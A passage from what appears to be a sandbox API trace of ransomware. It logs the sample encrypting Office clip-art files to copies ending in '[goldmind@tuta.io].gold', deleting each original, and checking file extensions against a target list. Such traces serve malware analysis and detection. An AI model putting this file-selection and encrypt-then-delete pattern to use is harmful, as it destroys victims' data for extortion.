(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.067] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.067] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.068] GetLastError () returned 0x0 [0109.068] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xc056, lpOverlapped=0x0) returned 1 [0109.070] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xc060, lpOverlapped=0x0) returned 1 [0109.071] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.071] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.072] SetEndOfFile (hFile=0x3a0) returned 1 [0109.072] CloseHandle (hObject=0x3a0) returned 1 [0109.072] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.072] SetEndOfFile (hFile=0x364) returned 1 [0109.074] CloseHandle (hObject=0x364) returned 1 [0109.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.074] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString=".doc") returned 4 [0109.075] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.075] lstrlenW (lpString=".docx") returned 5 [0109.075] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0109.075] lstrlenW (lpString=".pdf") returned 4 [0109.075] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.075] lstrlenW (lpString=".xls") returned 4 [0109.075] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.075] lstrlenW (lpString=".xlsx") returned 5 [0109.075] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0109.075] lstrlenW (lpString=".ppt") returned 4 [0109.075] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString=".zip") returned 4 [0109.075] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.075] lstrlenW (lpString=".rar") returned 4 [0109.075] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.075] lstrlenW (lpString=".bz2") returned 4 [0109.075] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.075] lstrlenW (lpString=".7z") returned 3 [0109.075] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString=".dbf") returned 4 [0109.075] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString=".1cd") returned 4 [0109.075] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString=".jpg") returned 4 [0109.075] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.075] lstrlenW (lpString=".doc") returned 4 [0109.075] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.075] lstrlenW (lpString=".docx") returned 5 [0109.075] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0109.075] lstrlenW (lpString=".pdf") returned 4 [0109.076] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.076] lstrlenW (lpString=".xls") returned 4 [0109.076] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.076] lstrlenW (lpString=".xlsx") returned 5 [0109.076] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0109.076] lstrlenW (lpString=".ppt") returned 4 [0109.076] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.076] lstrlenW (lpString=".zip") returned 4 [0109.076] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.076] lstrlenW (lpString=".rar") returned 4 [0109.076] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.076] lstrlenW (lpString=".bz2") returned 4 [0109.076] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.076] lstrlenW (lpString=".7z") returned 3 [0109.076] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.076] lstrlenW (lpString=".dbf") returned 4 [0109.076] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.076] lstrlenW (lpString=".1cd") returned 4 [0109.076] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0109.076] lstrlenW (lpString=".jpg") returned 4 [0109.076] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.076] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.076] lstrlenW (lpString="J0145361.JPG") returned 12 [0109.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.077] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=21125) returned 1 [0109.077] CloseHandle (hObject=0x364) returned 1 [0109.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 0x20 [0109.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.077] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.077] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.078] GetLastError () returned 0x0 [0109.078] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5285, lpOverlapped=0x0) returned 1 [0109.080] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5290, lpOverlapped=0x0) returned 1 [0109.081] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.081] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.081] SetEndOfFile (hFile=0x3a0) returned 1 [0109.081] CloseHandle (hObject=0x3a0) returned 1 [0109.081] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.081] SetEndOfFile (hFile=0x364) returned 1 [0109.087] CloseHandle (hObject=0x364) returned 1 [0109.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0109.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.089] lstrlenW (lpString=".doc") returned 4 [0109.089] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.089] lstrlenW (lpString=".docx") returned 5 [0109.089] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0109.089] lstrlenW (lpString=".pdf") returned 4 [0109.089] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.089] lstrlenW (lpString=".xls") returned 4 [0109.089] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.089] lstrlenW (lpString=".xlsx") returned 5 [0109.089] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0109.089] lstrlenW (lpString=".ppt") returned 4 [0109.089] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.089] lstrlenW (lpString=".zip") returned 4 [0109.089] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.089] lstrlenW (lpString=".rar") returned 4 [0109.089] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.090] lstrlenW (lpString=".bz2") returned 4 [0109.090] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.090] lstrlenW (lpString=".7z") returned 3 [0109.090] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".dbf") returned 4 [0109.090] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".1cd") returned 4 [0109.090] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".jpg") returned 4 [0109.090] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".doc") returned 4 [0109.090] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.090] lstrlenW (lpString=".docx") returned 5 [0109.090] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0109.090] lstrlenW (lpString=".pdf") returned 4 [0109.090] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.090] lstrlenW (lpString=".xls") returned 4 [0109.090] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.090] lstrlenW (lpString=".xlsx") returned 5 [0109.090] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0109.090] lstrlenW (lpString=".ppt") returned 4 [0109.090] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".zip") returned 4 [0109.090] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.090] lstrlenW (lpString=".rar") returned 4 [0109.090] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.090] lstrlenW (lpString=".bz2") returned 4 [0109.090] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.090] lstrlenW (lpString=".7z") returned 3 [0109.090] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".dbf") returned 4 [0109.090] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.090] lstrlenW (lpString=".1cd") returned 4 [0109.091] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned 63 [0109.091] lstrlenW (lpString=".jpg") returned 4 [0109.091] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.091] lstrcmpiW (lpString1=".JPG", lpString2=".gold") returned 1 [0109.091] lstrlenW (lpString="J0145373.JPG") returned 12 [0109.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.092] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=17867) returned 1 [0109.092] CloseHandle (hObject=0x364) returned 1 [0109.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 0x20 [0109.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0109.092] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.092] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0109.093] GetLastError () returned 0x0 [0109.093] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x45cb, lpOverlapped=0x0) returned 1 [0109.351] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x45d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x45d0, lpOverlapped=0x0) returned 1 [0109.352] ReadFile (in: hFile=0x364, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.352] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.352] SetEndOfFile (hFile=0x3a0) returned 1 [0109.352] CloseHandle (hObject=0x3a0) returned 1 [0109.352] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.352] SetEndOfFile (hFile=0x364) returned 1 [0109.355] CloseHandle (hObject=0x364) returned 1 [0109.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0109.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".doc") returned 4 [0109.377] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.377] lstrlenW (lpString=".docx") returned 5 [0109.377] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0109.377] lstrlenW (lpString=".pdf") returned 4 [0109.377] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".xls") returned 4 [0109.377] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".xlsx") returned 5 [0109.377] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0109.377] lstrlenW (lpString=".ppt") returned 4 [0109.377] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".zip") returned 4 [0109.377] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".rar") returned 4 [0109.377] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".bz2") returned 4 [0109.377] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.377] lstrlenW (lpString=".7z") returned 3 [0109.377] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".dbf") returned 4 [0109.377] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".1cd") returned 4 [0109.377] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".jpg") returned 4 [0109.377] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".doc") returned 4 [0109.377] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0109.377] lstrlenW (lpString=".docx") returned 5 [0109.377] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0109.377] lstrlenW (lpString=".pdf") returned 4 [0109.377] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".xls") returned 4 [0109.377] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".xlsx") returned 5 [0109.377] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0109.377] lstrlenW (lpString=".ppt") returned 4 [0109.377] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.377] lstrlenW (lpString=".zip") returned 4 [0109.377] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".rar") returned 4 [0109.377] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0109.377] lstrlenW (lpString=".bz2") returned 4 [0109.377] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0109.377] lstrlenW (lpString=".7z") returned 3 [0109.377] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0109.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.378] lstrlenW (lpString=".dbf") returned 4 [0109.378] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0109.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.378] lstrlenW (lpString=".1cd") returned 4 [0109.378] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0109.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0109.378] lstrlenW (lpString=".jpg") returned 4 [0109.378] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0109.378] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.378] lstrlenW (lpString="J0150150.WMF") returned 12 [0109.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.378] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=46404) returned 1 [0109.378] CloseHandle (hObject=0x180) returned 1 [0109.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf")) returned 0x20 [0109.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0109.379] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.379] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.379] CreateFileW 